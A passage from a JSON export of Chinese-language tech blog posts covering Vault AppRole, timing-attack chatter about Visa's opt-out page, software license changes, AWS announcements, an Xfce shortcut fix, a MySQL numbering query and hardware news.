    "body": "<a href=\"https://www.vaultproject.io/\">Vault</a> 是 <a href=\"https://www.hashicorp.com/\">HashiCorp</a> 拿來管理各種敏感資訊的軟體，像是 API token 或是資料庫的帳號密碼。把這些資訊集中控管後就不需要把這些資訊放進 <a href=\"https://git-scm.com/\">Git</a> (超爽的？)，而是在需要的時候由應用程式呼叫 Vault 取得。\r\n\r\n而 Vault 的設計裡面要求應用程式需要「認證」後才能取得，結果這個「認證」又是一組敏感資訊，這就是 Secret Zero 問題，屬於<a href=\"https://zh.wikipedia.org/wiki/%E5%85%88%E6%9C%89%E9%B8%A1%E8%BF%98%E6%98%AF%E5%85%88%E6%9C%89%E8%9B%8B\">雞蛋問題</a>的一種。\r\n\r\n找了一輪發現 HashiCorp 自家的說明解釋的最清楚，不過這篇是放在 blog 上的文章：「<a href=\"https://medium.com/hashicorp-engineering/tackling-the-vault-secret-zero-problem-by-approle-authentication-b7a316d73380\">Tackling the Vault Secret Zero Problem by AppRole Authentication</a>」。\r\n\r\nVault 在解決 Secret Zero 的方法是使用 <a href=\"https://www.vaultproject.io/docs/auth/approle\">AppRole</a>，這邊的認證包括了 <code>role_id</code> 與 <code>secret_id</code> 的設計。比較特別的是一組 <code>role_id</code> 可以有多組 <code>secret_id</code> 對應。\r\n\r\n在 AppRole 這樣的設計下，權限會綁在 <code>role_id</code> 上，而 <code>secret_id</code> 則可以在部屬時動態產生，像是官方提到的 <a href=\"https://www.terraform.io/\">Terraform</a> 與 <a href=\"https://www.chef.io/\">Chef</a>，或是依照組織裡面使用的管理工具：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1ky93Bv.webp\"/><img src=\"https://i.gslin.com/imgur/1ky93Bv.png\" alt=\"\" /></picture>\r\n\r\n這樣就可以透過 <code>role_id</code> 管理權限，但不用在 Git 裡面寫死 Secret Zero 資訊，而且每台機器都有自己的 <code>secret_id</code> 可以提供稽核記錄，把幾個比較明顯的問題解了不少...",
    "title": "Vault 裡 AppRole 的設計，以及怎麼解決 Secret Zero 問題"
  },
  {
    "id": "9910",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=25576113\">Visa Advertising Solutions (VAS) Opt Out (visa.com)</a>」這篇講 <a href=\"https://www.visa.com/\">Visa</a> 的 Visa Advertising Solutions (VAS) Opt Out，本來以為是在討論企業賣資料的問題 (下面的討論的確是有在討論這個)，但最上面的討論居然是在討論 timing attack，像是這篇：\r\n\r\n<blockquote>morpheuskafka 2 days ago [–]\r\n\r\nChecked and the Mastercard one someone posted below doesn't seem to be vulnerable to this. My real card number and a dummy mastercard number with valid prefix and check digit both returned a 200 OK in around 1.01s. A random 16digit number without valid check digit returned 400 Bad Request in about 800ms. Decided to check that one since they have a completely useless machine-readable catchpa.\r\n\r\nFor Visa it was 835ms for valid, 762ms for dummy, prefix and check digit appears to be checked client side.</blockquote>\r\n\r\n我印象中這類方式已經發展很久了 (透過網路反應時間的 timing attack)，討論裡面有提到「<a href=\"https://rdist.root.org/2010/07/19/exploiting-remote-timing-attacks/\">Exploiting remote timing attacks</a>」這篇，也是十多年前的資料了... 不過官方網站玩起來總是有中特別爽的感覺 XDDD\r\n\r\n不過 Visa 的這個網站前面用了 <a href=\"https://www.cloudflare.com/\">Cloudflare</a>，用機器人掃感覺很容易被擋，這又是另外一回事了...",
    "title": "Visa 網站上面的 Opt-Out 功能被拿來玩 Timing Attack..."
  },
  {
    "id": "9911",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"https://news.ycombinator.com/item?id=25613937\">Atlassian Cloud ToS section 3.3(I) prohibits discussing performance issues (atlassian.com)</a>」，引用的頁面是「<a href=\"https://www.atlassian.com/legal/cloud-terms-of-service\">Atlassian Cloud Terms of Service</a>」這邊。\r\n\r\n翻了下 <a href=\"https://web.archive.org/\">Internet Archive</a>，看起來在 2018/11/01 生效的版本就有這條了：「<a href=\"https://web.archive.org/web/20181102013014/https://www.atlassian.com/legal/cloud-terms-of-service\">20181102013014</a>」。\r\n\r\n出自這條：\r\n\r\n<blockquote><strong>3.3.</strong> <u>Restrictions</u>. Except as otherwise expressly permitted in these Terms, you will not: [...]; (i) publicly disseminate information regarding the performance of the Cloud Products; [...]</blockquote>\r\n\r\n這個條文已經生效兩年多了，不過我猜就是被大家批一批還是依舊...\r\n\r\n這類條款類似於 <a href=\"https://www.oracle.com/\">Oracle</a> 與 <a href=\"https://www.microsoft.com/\">Microsoft</a> 在資料庫系統上面的條款 (可以參考「<a href=\"https://stackoverflow.com/questions/12115397/is-it-against-license-to-publish-oracle-and-sql-server-performance-test\">Is it against license to publish Oracle and SQL Server performance test?</a>」這邊的回答)，看起來除非從法律層級禁止，不然應該只會有愈來愈多公司納入這類條款...",
    "title": "Atlassian 在 ToS 內禁止使用者討論 Cloud 產品的效能"
  },
  {
    "id": "9912",
    "body": "<a href=\"https://aws.amazon.com/sqs/\">Amazon SQS</a> 推出了分級計價，不過看了一下「<a href=\"https://aws.amazon.com/sqs/pricing/\">Amazon SQS pricing</a>」這邊的表格，一般的單位大概是不太會遇到：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/01/amazon-sqs-announces-tiered-pricing/\">Amazon SQS announces tiered pricing</a>」。\r\n\r\n他的原價級距是 From 1 Million to 100 Billion Requests/Month，算了一下必須一整個月的每秒都有 38580 requests/sec 左右才會到下一個級距，就算內部架構倍數放大，要達到這個數量應該也必須要有一定規模... (或者惡搞？)\r\n\r\n隔壁棚的 <a href=\"https://aws.amazon.com/sns/\">Amazon SNS</a> 不知道會不會也跟著降，在 <a href=\"https://aws.amazon.com/\">AWS</a> 的服務與文件上經常會看到兩個串起來用...",
    "title": "Amazon SQS 推出量大折扣..."
  },
  {
    "id": "9914",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 也打算放棄 <a href=\"https://tools.ietf.org/html/draft-ietf-tls-esni-06\">ESNI</a>，改推 <a href=\"https://tools.ietf.org/html/draft-ietf-tls-esni-09\">ECH</a> 了：「<a href=\"https://blog.mozilla.org/security/2021/01/07/encrypted-client-hello-the-future-of-esni-in-firefox/\">Encrypted Client Hello: the future of ESNI in Firefox</a>」。\r\n\r\n目前的 85 版 (目前的 beta) 支援了 ECH draft-08，想要玩看看的人就可以測試了：\r\n\r\n<blockquote>Firefox 85 replaces ESNI with ECH draft-08, and another update to draft-09 (which is targeted for wider interoperability testing and deployment) is forthcoming.</blockquote>\r\n\r\n另外一個要看的當然就是 <a href=\"https://www.google.com/\">Google</a> 家的 <a href=\"https://www.chromium.org/\">Chromium</a> 了，不過這個協定對 Google 的誘因應該是超大，有機會直接穿入中國市場... 只是不知道會不會自己搞一套 protocol。",
    "title": "Firefox 也打算淘汰 ESNI，改推 ECH"
  },
  {
    "id": "9915",
    "body": "先前 <a href=\"https://aws.amazon.com/aws-transfer-family/\">AWS Transfer Family</a> 的後端只能是 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a>，現在則是宣佈可以掛 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-transfer-family-support-for-amazon-elastic-file-system/\">New – AWS Transfer Family support for Amazon Elastic File System</a>」。\r\n\r\nEFS 跟 S3 都是沒有空間限制，但 EFS 可以直接在系統上掛起來當作一般的檔案系統用，基本上就是更方便，不過代價就是單位儲存成本貴不少...\r\n\r\n這次支援 EFS 對於一些量不大的處理又方便不少，也就是處理完後的檔案另外丟，而上傳上來的檔案可以砍掉的... 如果是上傳上來的檔案需要保留的，用 S3 會比較適合。",
    "title": "EFS 上可以掛 AWS Transfer Family 了"
  },
  {
    "id": "9917",
    "body": "在「<a href=\"https://www.ghacks.net/2021/01/10/firefox-86-avif-support-enabled-by-default/\">Firefox 86: AVIF support enabled by default</a>」這邊看到的消息，在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 86 (目前是 nightly) 預設啟用了 <a href=\"https://en.wikipedia.org/wiki/AVIF\">AVIF</a> 影像格式，這是繼「<a href=\"https://blog.gslin.org/archives/2020/06/25/9588/webp-%E7%9A%84%E6%AA%94%E6%A1%88%E5%A4%A7%E5%B0%8F%E6%9C%AA%E5%BF%85%E6%AF%94-jpeg-%E5%B0%8F/\">Chrome 85 支援 AVIF</a>」後另外一個主要的瀏覽器也跳下來支援了，大概再幾個月後就會推到 stable channel 上了。\r\n\r\n不過想測試的人不用去裝 nightly，77 之後的版本已經支援，只是預設沒有啟用，可以透過 <code>image.avif.enabled</code> 開起來。\r\n\r\n另外當初在「<a href=\"https://blog.gslin.org/archives/2020/06/25/9588/webp-%E7%9A%84%E6%AA%94%E6%A1%88%E5%A4%A7%E5%B0%8F%E6%9C%AA%E5%BF%85%E6%AF%94-jpeg-%E5%B0%8F/\">WebP 的檔案大小未必比 JPEG 小...</a>」這邊剛好也有帶到 AVIF 的壓縮率不錯，不過演算法判斷非重點部位的細節會被吃掉，這點對於一般的網頁應該還好，但對於希望還是保留細節的網站，也許就不是那麼適合了...",
    "title": "Firefox 86 預設支援 AVIF 影像格式"
  },
  {
    "id": "9919",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 丟出了兩個有點「有趣」的消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/01/amazon-ec2-api-supports-internet-protocol-version-6/\">Amazon EC2 API now supports Internet Protocol Version 6 (IPv6)</a>」、「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/01/amazon-lightsail-supports-ipv6/\">Amazon Lightsail now supports IPv6</a>」。\r\n\r\n先是 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 API 支援 IPv6 的消息，但也不是全部都支援了 (亞洲區只有印度有支援，新加坡、日本、南韓與香港都沒在上面)：\r\n\r\n<blockquote>Usage of Amazon EC2’s new dual-stack endpoints are available at no additional charge. The new endpoints are generally available in US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), Asia Pacific (Mumbai) and South America (São Paulo).</blockquote>\r\n\r\n不過畢竟也不是直接面向使用者的部份，不算太意外就是了... 但另外聽到 <a href=\"https://aws.amazon.com/lightsail/\">Lightsail</a> 支援 IPv6 的消息就比較意外了：\r\n\r\n<blockquote>Amazon Lightsail now supports Internet Protocol version 6 (IPv6) on Lightsail resources like instances, containers, load balancers and CDN. With this launch, Lightsail resources operate in dual-stack mode, accepting both IPv4 and IPv6 client connections. This helps unlock application scenarios where some end user clients are IPv6 only.</blockquote>\r\n\r\n本來以為 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 與 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 有的東西在 Lightsail 上都會有，原來 IPv6 是沒支援的啊，這功能補的好晚...",
    "title": "EC2 API 支援 IPv6，以及 Lightsail 支援 IPv6..."
  },
  {
    "id": "9920",
    "body": "在 RSS reader 上看到「<a href=\"https://lwn.net/Articles/842436\">A license change for Nmap</a>」這篇，雖然看不到內容，但標題已經先把重點講出來了 (雖然在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上找一下就有連結了)，看起來 <a href=\"https://nmap.org/\">Nmap</a> 的軟體授權有改過，查了一下是在去年十月出版的 7.90 發生的，不過最近突然被炒熱了起來：「<a href=\"https://seclists.org/nmap-announce/2020/1\">Nmap 7.90 Released! First release since August 2019.</a>」。\r\n\r\n<blockquote>We also did some long-needed license cleanup and gave the license a name (Nmap Public Source License) to avoid the previous confusion of Nmap being under \"GPLv2 with various clarifications and exceptions\". The NPSL is still based on the GPLv2, but brings in terms from some other popular open source licenses. See https://nmap.org/npsl</blockquote>\r\n\r\n看到這種自我宣稱的就超可疑，而翻了一下 NPSL 裡面的限制，看起來就不怎麼符合 open source license 的定義，在「<a href=\"https://opensource.stackexchange.com/questions/10636/is-nmaps-custom-npsl-license-free\">Is nmap's custom NPSL license free?</a>」這邊的說明算是很客氣了，都是掛上「probably」，不過大家自己讀過以後應該就會知道問題了...\r\n\r\n目前開槍的應該就是 <a href=\"https://getfedora.org/\">Fedora</a> 了，Fedora 在 <a href=\"https://lists.fedoraproject.org/archives/list/devel-announce@lists.fedoraproject.org/thread/GZIDC4DHXZP67LFU7P2OT2AQVDJRHZ2M/\">Nmap Public Source License (NPSL) Version 0.92 - devel-announce - Fedora Mailing-Lists</a> 這邊決定把 NPSL 列為 bad license，並且在 Fedora 裡面禁用。\r\n\r\n<a href=\"https://www.debian.org/\">Debian</a> 目前則是在「<a href=\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=972216\">#972216 - nmap: New NPSL 0.92 license likely non-free - Debian Bug report logs</a>」這邊也有類似的討論，不過目前看起來就還在討論，沒有動手。\r\n\r\n<a href=\"https://www.gentoo.org/\">Gentoo</a> 跟情況跟 Debian 也類似，在「<a href=\"https://bugs.gentoo.org/749390\">Add NPSL (nmap license) to MISC_FREE</a>」這邊討論中。\r\n\r\n看起來這幾天應該會有進展，沒意外的話應該是會被封殺，裡面的條款把 installer 之類的程式也都限制進去了，直接影響到 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 平台的各種工具 (像是 <a href=\"https://en.wikipedia.org/wiki/APT_(software)\">apt</a>/<a href=\"https://en.wikipedia.org/wiki/DNF_(software)\">dnf</a>/<a href=\"https://en.wikipedia.org/wiki/Yum_(software)\">yum</a>)。\r\n\r\n該拉個折凳，買個爆米花來等著看了...",
    "title": "Nmap 變成非 Open Source Software"
  },
  {
    "id": "9921",
    "body": "從 <a href=\"https://www.nuzzel.com/\">Nuzzel</a> 上看到的消息，<a href=\"https://www.elastic.co/elasticsearch/\">Elasticsearch</a> 與 <a href=\"https://www.elastic.co/kibana\">Kibana</a> 也變成非 Open Source 軟體了：「<a href=\"https://anonymoushash.vmbrasseur.com/2021/01/14/elasticsearch-and-kibana-are-now-business-risks\">Elasticsearch and Kibana are now business risks</a>」，官方的公告在「<a href=\"https://www.elastic.co/blog/licensing-change\">Upcoming licensing changes to Elasticsearch and Kibana</a>」這邊。\r\n\r\n新版將會採用 <a href=\"https://en.wikipedia.org/wiki/Server_Side_Public_License\">SSPL</a> (由 <a href=\"https://www.mongodb.com/\">MongoDB</a> 設計出來的授權) 與 Elastic License (Elastic 的商用授權) 的雙重授權，不過兩個授權都不是 Open Source 授權。\r\n\r\n應該是跟 <a href=\"https://aws.amazon.com/elasticsearch-service/\">Amazon Elasticsearch Service</a> 這種搞法加減有些關係？不知道 <a href=\"https://aws.amazon.com/\">AWS</a> 這邊後續會怎麼弄...\r\n\r\n另外如果不選擇 Elasticsearch 的話，目前好像只有 <a href=\"https://lucene.apache.org/solr/\">Solr</a> 算是堪用？不過很久沒回去看 Solr，不知道現在軟體發展到什麼程度...",
    "title": "Elasticsearch 與 Kibana 也變成非 Open Source 軟體"
  },
  {
    "id": "9922",
    "body": "在「<a href=\"https://www.ghacks.net/2021/01/11/synctrazor-is-an-open-source-syncthing-client-for-windows/\">SyncTrayzor is an open source Syncthing client for Windows</a>」這邊看到有人將 <a href=\"https://syncthing.net/\">Syncthing</a> 包裝好，讓使用者在 Windows 上直接設定，而不需要另外開瀏覽器設定：\r\n\r\n<blockquote>Syncthing is a popular peer-to-peer file sharing/synchronization software. It uses a web GUI which can be a little confusing for beginners. SyncTrayzor is an open source client that makes the P2P tool more user-friendly.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Duqyayi.webp\" /><img src=\"https://i.gslin.com/imgur/Duqyayi.png\" alt=\"\" /></picture>\r\n\r\nSyncthing 比較特別的觀念就是每一台都要設定允許其他台分享 (通常是這樣)。假設你有四台 Syncthing 要設定，每一台都要設定允許其他三台的分享。\r\n\r\n不過也可以有其他的設計，像是你可以在 VPS hosting 上租一台空間很大的機器，然後其他機器都只對 VPS 這台機器同步，這樣就比較像有中央 server 的架構。\r\n\r\n對於有多電腦的人還蠻好用的東西...",
    "title": "Windows 上包裝 Syncthing 的 SyncTrayzor"
  },
  {
    "id": "9923",
    "body": "前陣子桌機重裝 <a href=\"https://www.ubuntu.com/\">Ubuntu</a>，順便把桌面環境換成 <a href=\"https://en.wikipedia.org/wiki/Xubuntu\">Xubuntu</a> 用看看，也把本來再用的 <a href=\"https://wiki.gnome.org/Apps/Terminal\">GNOME Terminal</a> 換成 <a href=\"https://xfce.org/\">Xfce</a> 的 <a href=\"https://docs.xfce.org/apps/terminal/start\">Terminal</a>。\r\n\r\n我的習慣會把 GNOME Terminal 的 <kbd>Alt</kbd>-Number (像是 <kbd>Alt</kbd>-<kbd>1</kbd>) 快速鍵改掉，因為有不少程式會吃這組快速鍵，像是 <a href=\"https://tmux.github.io/\">tmux</a> 切換視窗內玻璃 (pane) 排列的 preset 以及 IRC client 在不同頻道的切換。\r\n\r\n但 Xfce Terminal 沒有 GUI 讓你改這組快速鍵 (其他的快速鍵有，但也雷雷的，後面會提到...)，翻了翻看起來只有「<a href=\"https://www.reddit.com/r/xubuntu/comments/8lclis/disable_altn_tab_shortcut_in_xfceterminal/\">Disable alt-n tab shortcut in xfce-terminal?</a>」這邊有提到，算是堪用：\r\n\r\n<blockquote>~/.config/xfce4/terminal/accels.scm looked promising but my changes were undone after a restart, so I made it read-only but it turns out commenting out the relevant lines makes no difference anyway.</blockquote>\r\n\r\n雖然作者有提到它改了 <code>~/.config/xfce4/terminal/accels.scm</code> 沒用，我自己發現這邊的確是很 buggy，但暫時還是可以找到 workaround。\r\n\r\n解法是直接改沒錯，但不能直接註解掉，而需要改空，也就是本來的：\r\n\r\n<pre>(gtk_accel_path \"&lt;Actions&gt;/terminal-window/goto-tab-1\" \"&lt;Alt&gt;-1\")</pre>\r\n\r\n不能改成：\r\n\r\n<pre>; (gtk_accel_path \"&lt;Actions&gt;/terminal-window/goto-tab-1\" \"&lt;Alt&gt;-1\")</pre>\r\n\r\n而是要改空：\r\n\r\n<pre>(gtk_accel_path \"&lt;Actions&gt;/terminal-window/goto-tab-1\" \"\")</pre>\r\n\r\n另外要注意，透過 GUI 修改快速鍵後，<code>~/.config/xfce4/terminal/accels.scm</code> 裡面的內容也會被重製，也就是 Xfce Terminal 寫入這個檔案時是直接把預設值寫進去，而非把有效值寫進去：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zbgMcfN.webp\" /><img src=\"https://i.gslin.com/imgur/zbgMcfN.png\" alt=\"\" /></picture>\r\n\r\n這點算是比較地雷的地方...",
    "title": "改變 Xfce Terminal 的 Alt-Number 快速鍵功能"
  },
  {
    "id": "9924",
    "body": "剛剛翻 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的價格頁面，發現多了好多有趣的區域，多了不少 ISP-based 的區域，像是 <a href=\"https://www.verizon.com/\">Verizon</a>、<a href=\"https://www.kddi.com/\">KDDI</a> 以及 <a href=\"https://www.sktelecom.com/\">SKT</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/i71mkq3.webp\" /><img src=\"https://i.gslin.com/imgur/i71mkq3.png\" alt=\"\" /></picture>\r\n\r\n翻了一下好像沒有講過，但都已經放上價格頁了，應該是晚點就會放消息？",
    "title": "從 EC2 的價格表上發現 AWS 多了好多區..."
  },
  {
    "id": "9926",
    "body": "在「<a href=\"https://mattermost.com/blog/support-for-esr-5-25-is-ending/\">Support for ESR 5.25 is ending</a>」這邊看到 <a href=\"https://mattermost.com/\">Mattermost</a> 新的 ESR (Extended Support Release) 釋出了，也就是 5.31 版。\r\n\r\n不過看了一下發現 support 期間還是很短，一般的 release 是三個月，ESR 也才九個月：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DvuNskT.webp\" /><img src=\"https://i.gslin.com/imgur/DvuNskT.png\" alt=\"\" /></picture>\r\n\r\n另外一個大問題是在行動平台上多帳號的支援，官方在「<a href=\"https://docs.mattermost.com/mobile/mobile-faq.html\">Mobile Apps FAQ</a>」有提到這個問題，然後也有解釋技術上的問題，不過從 issue tracking system 可以看到官方對這個 feature 進展不怎麼快：\r\n\r\n<blockquote>At the moment, we only support connecting to one server at a time; however, we are aware that this is one of the top feature requests for the mobile app. We are currently investigating some technical challenges, such as how to handle push notifications coming from multiple servers. To follow our progress on this feature, you can join the RN: Multi-Server channel on our community server.</blockquote>\r\n\r\n先繼續丟著...",
    "title": "Mattermost 推出了 ESR 5.31"
  },
  {
    "id": "9929",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://theintercept.com/\">The Intercept</a> 介紹了 <a href=\"https://zoom.us/\">Zoom</a> 的浮水印功能，以及如果你要洩密的話要如何自保：「<a href=\"https://theintercept.com/2021/01/18/leak-zoom-meeting/\">What You Should Know Before Leaking a Zoom Meeting</a>」。這篇文章主要不是談 Zoom 之前被討論的那些問題，而就 Zoom 的浮水印功能來討論。\r\n\r\nZoom 支援 video watchmark 與 audio watchmark：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4Uh7XiC.webp\" /><img src=\"https://i.gslin.com/imgur/4Uh7XiC.png\" alt=\"\" /></picture>\r\n\r\n依照描述的兩個方式，看起來都不難破，但主要是要提醒記者，如果要放出線人提供的 Zoom 錄音或是錄影，要注意到裡面是否有 watchmark 導致線人的資訊被洩漏：\r\n\r\n<blockquote>Journalists should also be wary of publishing raw audio leaked from Zoom meetings, particularly if the source is not sure whether audio watermarking was enabled or not.</blockquote>\r\n\r\n翻了一下 <a href=\"https://github.com/\">GitHub</a> 沒搜到有工具可以處理，這點可能要等人發展出來...",
    "title": "Zoom 的浮水印功能"
  },
  {
    "id": "9930",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://github.com/linuxmint/cinnamon-screensaver/issues/354\">Screensaver lock by-pass via the virtual keyboard</a>」這篇，裡面這邊題到了 screensaver lock 的有趣話題。\r\n\r\n先講嚴肅一點的，這個 bug 被編號為 <a href=\"https://nvd.nist.gov/vuln/detail/CVE-2020-25712\">CVE-2020-25712</a>，問題出在 xorg-x11-server 上：\r\n\r\n<blockquote>A flaw was found in xorg-x11-server before 1.20.10. A heap-buffer overflow in XkbSetDeviceInfo may lead to a privilege escalation vulnerability. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.</blockquote>\r\n\r\n比較有趣的事情是，這個 bug 是小朋友在亂玩時拉出 virtual keyboard 觸發的：\r\n\r\n<blockquote>A few weeks ago, my kids wanted to hack my linux desktop, so they typed and clicked everywhere, while I was standing behind them looking at them play... when the screensaver core dumped and they actually hacked their way in! wow, those little hackers...</blockquote>\r\n\r\n然後他說他自己搞不出來：\r\n\r\n<blockquote>I tried to recreate the crash on my own with no success, maybe because it required more than 4 little hands typing and using the mouse on the virtual keyboard.</blockquote>\r\n\r\n另外一個人也說他家小朋友也弄出 segfault 了：\r\n\r\n<blockquote>My kids came upon a similar cinnamon-screensaver segfault! I've emailed details of how to reproduce the problem to root@linuxmint.com.</blockquote>\r\n\r\n小朋友超強 XDDD",
    "title": "繞過 Screensaver Lock 的有趣話題..."
  },
  {
    "id": "9931",
    "body": "在 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2020/07/27/generating-numeric-sequences-in-mysql/\">Generating Numeric Sequences in MySQL</a>」這篇在討論產生字串序列，主要是在 MySQL 環境下，裡面看到的技巧「Session Variable Increment Within a SELECT」這組，剛好可以用在要在每個 row 裡面增加名次：\r\n\r\n<pre>SELECT (@val := @val + 1) - 1 AS value FROM t1, (SELECT @val := 0) AS tt;</pre>\r\n\r\n另外看到 <a href=\"https://www.mariadb.org/\">MariaDB</a> 與 <a href=\"https://dev.mysql.com/downloads/mysql/8.0.html\">MySQL 8.0</a> 系列因為有多支援各種功能，剛好也可以被拿來用，然後最後也提到了 Percona 自家出的 MySQL 8.0.20-11 將會直接有 <code>SEQUENCE_TABLE()</code> 可以用 (這應該才是 Percona 這篇文章的主要目的，推銷一下自家產品的新功能)。\r\n\r\n文章收起來之後遇到可以拿出來參考用...",
    "title": "產生名次的 SQL"
  },
  {
    "id": "9932",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 升級了 <a href=\"https://mariadb.org/\">MariaDB</a> 資料庫的伺服器 (跑 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a>)，特地寫了一篇文章出來講：「<a href=\"https://letsencrypt.org/2021/01/21/next-gen-database-servers.html\">The Next Gen Database Servers Powering Let's Encrypt</a>」。\r\n\r\nCPU 的部份從本來的 2x Intel Xeon E5-2650 (Total 24 cores / 48 threads) 換成了 2x <a href=\"https://www.amd.com/en/products/cpu/amd-epyc-7452\">AMD EPYC 7542</a> (Total 64 cores / 128 threads)，這點在本來就是 CPU 滿載的情境下改善很大：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WBbyg5i.webp\" /><img src=\"https://i.gslin.com/imgur/WBbyg5i.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Gy6aMEk.webp\" /><img src=\"https://i.gslin.com/imgur/Gy6aMEk.png\" alt=\"\" /></picture>\r\n\r\n而本來的瓶頸一解決，也使得 API 的 latency 直接降下去：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iGCdTxy.webp\" /><img src=\"https://i.gslin.com/imgur/iGCdTxy.png\" alt=\"\" /></picture>\r\n\r\n回頭看一下架構，可以看到他們提到沒有使用分散式的資料庫，而是單台 database 硬撐，驗證了即使到了 Let's Encrypt 這種規模，以暴制暴還是很有效的：\r\n\r\n<blockquote>We run the CA against a single database in order to minimize complexity. Minimizing complexity is good for security, reliability, and reducing maintenance burden. We have a number of replicas of the database active at any given time, and we direct some read operations to replica database servers to reduce load on the primary.</blockquote>\r\n\r\n除了 CPU 暴力外，2TB RAM 與 24 顆 NVMe SSD 的搞法也是很讚的，擺明就是用記憶體拼 cache 的量，以及用大量的 NVMe SSD 疊 IOPS。\r\n\r\n然後硬體還在成長，看起來暴力解應該會變成以後的基本答案了...",
    "title": "Let's Encrypt 升級資料庫伺服器 (AMD YES？)"
  },
  {
    "id": "9933",
    "body": "先前提到「<a href=\"https://blog.gslin.org/archives/2021/01/15/9921/elasticsearch-%e8%88%87-kibana-%e4%b9%9f%e8%ae%8a%e6%88%90%e9%9d%9e-open-source-%e8%bb%9f%e9%ab%94/\">Elasticsearch 與 Kibana 也變成非 Open Source 軟體</a>」，後來 <a href=\"https://www.elastic.co/\">Elastic</a> 的 CEO (創辦人) 發了一篇「<a href=\"https://www.elastic.co/blog/why-license-change-AWS\">Amazon: NOT OK - why we had to change Elastic licensing</a>」直接批評 <a href=\"https://aws.amazon.com/\">AWS</a>。\r\n\r\n接下來是 AWS 跳出來放話了，基本上也是個新聞稿：「<a href=\"https://aws.amazon.com/blogs/opensource/stepping-up-for-a-truly-open-source-elasticsearch/\">Stepping up for a truly open source Elasticsearch</a>」，大概就是會繼續維護自己的版本，維持本來的 <a href=\"https://www.apache.org/licenses/LICENSE-2.0.html\">Apache License, Version 2.0</a>，然後批評 Elastic 所說的話不實之類的...\r\n\r\n現在還在雙方放話的階段，過一陣子看看有什麼更新...",
    "title": "AWS 跳出來決定繼續搞 Elasticsearch 了"
  },
  {
    "id": "9934",
    "body": "<a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 推出了新的產品線 <a href=\"https://www.raspberrypi.org/products/raspberry-pi-pico/\">Raspberry Pi Pico</a>，基於 <a href=\"https://www.arm.com/\">ARM</a> 架構的 MCU (microcontroller unit)，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有不少討論：「<a href=\"https://news.ycombinator.com/item?id=25856291\">Raspberry Pi Pico and RP2040 Microcontroller (raspberrypi.org)</a>」。\r\n\r\n與 Raspberry Pi 的 Zero 系列比起來，Zero 上面有 512MB RAM，不算大但還是可以跑一個完整的 OS。而 Pico 的定位就直接是 MCU 了，基本上就是特製的系統。\r\n\r\n再來是看 Pico 的規格，比隔壁棚的 <a href=\"https://en.wikipedia.org/wiki/ESP32\">ESP32</a> 低一些，但可以看出來 Pico 主要的定位還是教學：高速雙核心 CPU、多腳位、大的記憶體以及 flash (對於一般量產的 MCU 來說)，支援透過 Micro-USB 的 5V 供電界面方便開發與使用。\r\n\r\n官方支援 <a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 與 <a href=\"https://micropython.org/\">MicroPython</a> 兩種開發使用的模式，其中在 Hacker News 上有人抱怨 MicroPython 哭爸慢，不過這點應該還好，要在上面跑比較複雜的人會自己跳到 C 上面開發。\r\n\r\n最後來講價位，目前定價是每顆 USD$4，當然跟一般商用量產的 MCU 差不少 (會盡可能壓低到「剛好夠用」的等級，價錢就有可能低到 USD$0.x)，但相比於現在在教學上很紅的 ESP32 (大約在 USD$10 附近) 來說，等於是殺出另外一條產品線，加上挾帶著 Raspberry Pi 的知名度來說，等於是讓更多人熟悉 MCU...",
    "title": "Raspberry Pi 推出 MCU 產品 Pico"
  },
  {
    "id": "9935",
